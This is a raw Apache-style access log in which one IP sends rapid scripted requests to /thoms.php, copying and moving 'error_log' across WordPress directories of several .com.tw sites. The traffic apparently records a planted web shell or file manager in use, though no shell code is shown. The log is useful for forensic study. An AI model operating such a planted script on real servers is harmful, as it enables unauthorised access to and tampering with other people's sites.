45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21156 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21172 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:00 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22245 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=wp-content%2Fthemes HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=error_log&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13756 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13744 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14157 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17563 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12068 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13619 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17553 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13428 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:01 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59443 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28863 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12594 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13267 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17427 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13766 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12590 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13421 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13279 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12045 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17427 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13837 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13839 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "https://163.245.207.76:443/thoms.php?copy=error_log&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12034 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13275 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13620 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12579 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17477 "https://163.245.207.76:443/thoms.php?copy=error_log&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13407 "https://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:04 -0400] "GET /thoms.php?copy=error_log&p=bfl.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=error_log&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
